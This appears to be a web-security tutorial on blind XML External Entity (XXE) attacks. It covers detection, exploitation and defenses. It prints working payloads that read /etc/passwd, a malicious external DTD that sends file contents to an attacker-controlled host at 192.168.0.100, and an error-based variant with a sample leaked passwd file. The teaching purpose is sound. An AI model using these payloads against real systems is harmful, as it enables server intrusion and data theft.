What is Blind XXE?
Blind XXE (XML External Entity) is a vulnerability that occurs when an application parses XML input from untrusted sources in a way that allows an attacker to retrieve sensitive information or execute arbitrary code on the server.
In a bling XXE, the attacker the application does not return the values of any defined external entities within the response. This makes blind XXEs to exploit compared to regular XXE vulnerabilities. However, with practice, skill, and intuition, you can infer the results by observing the application behavior, allowing you to understand how to exploit them.
How a Blind XXE Works - Simple Version
To better understand how a blind XXE works, let us break down the process of a Blind XXE in simple steps. Keep in mind that this is a heavy oversimplification of the overall functionality.
- XML Parsing - The first part of application allows you to provide XML Input. The defined XML parser then parses the XML input.
- External Entity Declaration - You, as the attacker, then craft a malicious XML payload that includes an external entity declaration. An external entity is an XML construct that references an external resource (e.g., file, URL) and can be used to read data from it.
The following example demonstrates a basic illustration of an XML payload that includes an external entity declaration (demo use only)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
In this example, we declare the external entity
xxe with it's value set to read the contents of the
Parsing and Expansion
Once the application receives this malicious payload, it will reach the
&xxe entity reference. This forces the parser to expand it by retrieving the contents of the external entity, in this case, the
/etc/passwd file. If the application is then vulnerable to the blind XXE, it won't return the file's contents directly.
Since you are dealing with a blind XXE, you must pay attention to the application behavior when running a blind XXE test.
It is your duty to observe what is "weird" or unusual when you execute the payload. For example, you can view the server response time by leveraging out-of-band techniques.
Detecting blind XXE using out-of-band techniques
The most common way of testing a blind XXE is very similar to how you would test an XXE SSRF but triggering an out-of-band network interaction to a server you control.
For example, as the attacker, you can modify the XML payload to include an HTTP request instead of file contents. Since you control the HTTP server, you can monitor it for DNS lookups or an HTTP request to the specified endpoint.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.0.100:8000/xxe-request"> ]> <root>&xxe;</root>
In this case, we craft an XML payload that requests the specified URL. If the application is vulnerable to the blind XXE, it will force the server to request a back-end HTTP to the specified URL.
However, you may encounter a scenario where using regular entities is either blocked or sanitized from the input. This can result from the XML parser input validation or just security hardening.
In such a case, you can opt to use XML parameter entities. An XML parameter entity refers to a unique XML entity that can only be referenced within the DTD.
Declaring an XML Parameter Entity
We can declare an XML parameter entity by including the percent character before the entity name.
<!ENTITY % xxe "The parameter entity value">
Referencing an XML Parameter Entity
Once defined, you can reference an XML parameter entity by using the percent character as shown:
Testing Blind XXE with XML Parameter Entity
To test a blind XXE using the XML parameter entity, you can craft a DTD payload as shown:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.168.0.100:8000"> %xxe; ]>
In this case, the XXE payload declares an XML parameter entity called
xx and then uses the entity within the DTD. This will force the application to make a DNS lookup and a HTTP request to the provided URL, verifying that the application is vulnerable.
Exploiting Blind XXE - Out-Of-Band
Okay, you have detected a blind XXE using the out-of-band techniques, but how exactly do you exploit this vulnerability?
Your main goal as the attacker is to steal sensitive data from the application. We can achieve this using the blind XXE and a malicious DTD on your server.
As the attacker, you can host a malicious DTD on a system you control and then invoke the external DTD from within the in-band XXE payload.
Consider the following payload.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://192.168.0.100:8000/?x=%file;'>"> %eval; %exfiltrate;
In the payload above, we define an XML parameter entity called
file containing the value and contents of the
We also define another XML parameter entity called
eval, which contains a dynamic declaration of another XML parameter entity called
exfiltrate entity is evaluated by the application requesting the attacker's webserver, which contains the value of the
file entity within the URL query string.
On the malicious server, you can serve the malicious DTD using a URL as:
Finally, you can submit the XXE payload in the DTD as:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.0.100:8000/evil.dtd"> %xxe;]>
In this case, we define an XML parameter entity called
xxe. We then use the entity within the DTD, causing the XML parser to fetch the external DTD from the malicious server and interpret it inline.
Once the payload in the malicious DTD is executed, it will send the file to the malicious server, where you can view it.
It is good to remember that the method outlined above can fail when including files with newline characters. This is because some XML parsers fetch the URL in the external entity using an API that validates the characters allowed to appear in the URL.In such a scenario, you can target other protocols, such as FTP
Exploiting Blind XXE - Error Messages
The second technique you can use to exploit blind XXE is triggering an XML parsing error where the error message will include the sensitive data you are targeting. This is highly effective if the application is configured to return the error message within the response.
You can trigger an XML parsing message containing the contents of a file, as demonstrated in the following malicious DTD.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
The above payload performs the following steps:
- We define an XML parameter entity called
filecontaining the contents of the
- Next, we define another XML parameter entity called
eval,which holds the dynamic declaration of another XML parameter called
errorentity is evaluated by loading a nonexisting file on the local filesystem, which contains the value of the
- Once the
errorentity is evaluated by attempting to load a non-existing file, the parser will return an error message containing the name of the non-existing file, which is the contents of the
An example output is as shown:
java.io.FileNotFoundExceptionn: /nonexistent/root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin debian:x:1000:1000:,,,:/home/debian:/bin/bash
How to Protect Against Blind XXEs?
You can take the following steps to protect your applications against blind XXEs.
- Input Validation - Ensure all XML input is validated correctly before parsing. Reject any XML input that doesn't adhere to the expected structure or contains suspicious or disallowed entities.
- Disable External Entities - Configure the XML parser to disable the processing of external entities or limit their usage to trusted sources only.
- Use Whitelisting - Specify a whitelist of allowed XML elements and attributes the parser can process. Reject any input that contains unrecognized elements or attributes.
- Secure Configuration - Ensure that the server and application are securely configured, with minimal privileges and restricted access to sensitive resources.
- Regular Updates - Keep the XML parser and its dependencies up to date to benefit from security patches and bug fixes.
In this tutorial, we walked you through detecting, testing, and exploiting blind XXEs in a vulnerable application. We hope you enjoyed this tutorial; if you did, share it and leave us feedback below.
If you wish to learn more about XML, Document Type Definitions (DTD), regular XXEs, and more, leave us a comment below or Request a topic. We promise to release an article for you in the shortest time possible.